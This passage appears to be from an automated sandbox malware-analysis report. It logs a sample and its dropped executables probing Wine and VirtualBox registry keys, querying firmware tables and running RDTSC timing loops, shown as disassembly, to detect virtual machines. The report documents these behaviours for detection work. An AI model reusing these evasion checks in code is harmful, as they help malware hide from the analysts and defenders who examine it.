Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF375 second address: 4AEB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0B73DBBh 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+122D3685h], edx 0x00000014 push dword ptr [ebp+122D05A5h] 0x0000001a jo 00007F1AA0B73DC1h 0x00000020 jmp 00007F1AA0B73DBBh 0x00000025 call dword ptr [ebp+122D368Dh] 0x0000002b pushad 0x0000002c cld 0x0000002d xor eax, eax 0x0000002f sub dword ptr [ebp+122D1C03h], esi 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 mov dword ptr [ebp+122D1C03h], ecx 0x0000003f mov dword ptr [ebp+122D3707h], eax 0x00000045 jnp 00007F1AA0B73DBCh 0x0000004b mov esi, 0000003Ch 0x00000050 or dword ptr [ebp+122D1C03h], esi 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a jns 00007F1AA0B73DCCh 0x00000060 lodsw 0x00000062 jmp 00007F1AA0B73DBBh 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b jmp 00007F1AA0B73DC9h 0x00000070 or dword ptr [ebp+122D1C03h], ebx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a xor dword ptr [ebp+122D1C03h], edi 0x00000080 nop 0x00000081 jc 00007F1AA0B73DC8h 0x00000087 pushad 0x00000088 push ecx 0x00000089 pop ecx 0x0000008a jmp 00007F1AA0B73DBEh 0x0000008f popad 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007F1AA0B73DC5h 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613E08 second address: 613E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618E96 second address: 618E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618E9A second address: 618ED6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1AA0DFCFE4h 0x0000000b push edi 0x0000000c jmp 00007F1AA0DFCFE5h 0x00000011 pop edi 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618ED6 second address: 618EEC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F1AA0B73DBCh 0x00000010 jnp 00007F1AA0B73DB6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619064 second address: 61908A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1AA0DFCFDDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6191D0 second address: 619208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007F1AA0B73DC8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F1AA0B73DB6h 0x00000016 jmp 00007F1AA0B73DBFh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6194BB second address: 6194CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1AA0DFCFD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6194CA second address: 6194D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61965E second address: 61967C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0DFCFE8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61967C second address: 6196B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0B73DC1h 0x00000009 popad 0x0000000a jmp 00007F1AA0B73DC6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 je 00007F1AA0B73DB6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6196B4 second address: 6196D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F1AA0DFCFE6h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6196D1 second address: 6196D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6196D8 second address: 6196E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C03F second address: 61C045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C045 second address: 61C049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C049 second address: 61C084 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F1AA0B73DB8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push 00000000h 0x0000002b call 00007F1AA0B73DB9h 0x00000030 push edi 0x00000031 push eax 0x00000032 push edx 0x00000033 push esi 0x00000034 pop esi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C084 second address: 61C088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C088 second address: 61C0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F1AA0B73DBDh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1AA0B73DC8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C0BB second address: 61C1A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007F1AA0DFCFD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 pushad 0x00000012 jl 00007F1AA0DFCFD6h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b jmp 00007F1AA0DFCFE5h 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jmp 00007F1AA0DFCFE8h 0x0000002a pop eax 0x0000002b add dword ptr [ebp+122D36A6h], eax 0x00000031 push 00000003h 0x00000033 ja 00007F1AA0DFCFD8h 0x00000039 push 00000000h 0x0000003b and edx, 3F902F59h 0x00000041 push 00000003h 0x00000043 push ecx 0x00000044 jc 00007F1AA0DFCFE4h 0x0000004a call 00007F1AA0DFCFDDh 0x0000004f pop edx 0x00000050 pop edi 0x00000051 call 00007F1AA0DFCFD9h 0x00000056 jmp 00007F1AA0DFCFE2h 0x0000005b push eax 0x0000005c push edi 0x0000005d push edi 0x0000005e jmp 00007F1AA0DFCFDEh 0x00000063 pop edi 0x00000064 pop edi 0x00000065 mov eax, dword ptr [esp+04h] 0x00000069 push edi 0x0000006a jmp 00007F1AA0DFCFE8h 0x0000006f pop edi 0x00000070 mov eax, dword ptr [eax] 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F1AA0DFCFE7h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C1A0 second address: 61C1E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jo 00007F1AA0B73DCDh 0x00000014 jmp 00007F1AA0B73DC7h 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C1E0 second address: 61C253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F1AA0DFCFD8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2951h], edx 0x00000027 jc 00007F1AA0DFCFDEh 0x0000002d push edi 0x0000002e xor dword ptr [ebp+122D1C23h], ebx 0x00000034 pop edx 0x00000035 lea ebx, dword ptr [ebp+12440F6Eh] 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F1AA0DFCFD8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D2DC4h], ebx 0x0000005b mov dword ptr [ebp+122D1C34h], edx 0x00000061 push eax 0x00000062 push esi 0x00000063 push eax 0x00000064 push edx 0x00000065 push edi 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C2C9 second address: 61C3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F1AA0B73DC6h 0x0000000d nop 0x0000000e mov edx, esi 0x00000010 push 00000000h 0x00000012 jmp 00007F1AA0B73DC0h 0x00000017 push 03C126ABh 0x0000001c jmp 00007F1AA0B73DBEh 0x00000021 xor dword ptr [esp], 03C1262Bh 0x00000028 mov dword ptr [ebp+122D1C4Ah], ecx 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F1AA0B73DB8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a call 00007F1AA0B73DC5h 0x0000004f sub dword ptr [ebp+122D1D5Eh], ebx 0x00000055 pop edi 0x00000056 push 00000000h 0x00000058 sub dword ptr [ebp+122D1C16h], ecx 0x0000005e push 00000003h 0x00000060 stc 0x00000061 push E591285Eh 0x00000066 je 00007F1AA0B73DCBh 0x0000006c jmp 00007F1AA0B73DC5h 0x00000071 xor dword ptr [esp], 2591285Eh 0x00000078 mov edi, dword ptr [ebp+122D37AFh] 0x0000007e lea ebx, dword ptr [ebp+12440F77h] 0x00000084 mov dword ptr [ebp+122D2951h], edx 0x0000008a xchg eax, ebx 0x0000008b pushad 0x0000008c push eax 0x0000008d push edx 0x0000008e pushad 0x0000008f popad 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C3F1 second address: 61C3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C3FC second address: 61C403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C513 second address: 61C517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612399 second address: 6123A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6123A2 second address: 6123B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6123B4 second address: 6123CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F1AA0B73DC1h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADCC second address: 63ADD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADD0 second address: 63ADD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADD6 second address: 63ADDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADDC second address: 63ADF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1AA0B73DBAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADF1 second address: 63AE21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE7h 0x00000007 jmp 00007F1AA0DFCFE2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AF36 second address: 63AF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AF3E second address: 63AF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B64E second address: 63B654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B654 second address: 63B676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1AA0DFCFD6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007F1AA0DFCFE2h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B676 second address: 63B67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B96A second address: 63B972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B972 second address: 63B976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BAA4 second address: 63BAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BC14 second address: 63BC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F1AA0B73DC6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BC2F second address: 63BC36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BC36 second address: 63BC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F1AA0B73DBCh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F1AA0B73DB6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BD74 second address: 63BD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BD78 second address: 63BD98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1AA0B73DC5h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BD98 second address: 63BDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D43 second address: 604D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C923 second address: 63C92F instructions: 0x00000000 rdtsc 0x00000002 js 00007F1AA0DFCFD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640ADB second address: 640B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jmp 00007F1AA0B73DC9h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640B02 second address: 640B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F1AA0DFCFDAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 jo 00007F1AA0DFCFE3h 0x00000016 jmp 00007F1AA0DFCFDDh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640B2E second address: 640B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640B32 second address: 640B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jo 00007F1AA0DFCFD6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642B7B second address: 642B83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642B83 second address: 642B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B920 second address: 64B924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BF51 second address: 64BF6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1AA0DFCFE1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BF6A second address: 64BF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C512 second address: 64C555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F1AA0DFCFD8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 sub dword ptr [ebp+124404C6h], edi 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 jo 00007F1AA0DFCFD6h 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C6B6 second address: 64C6BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C78C second address: 64C790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CA05 second address: 64CA09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
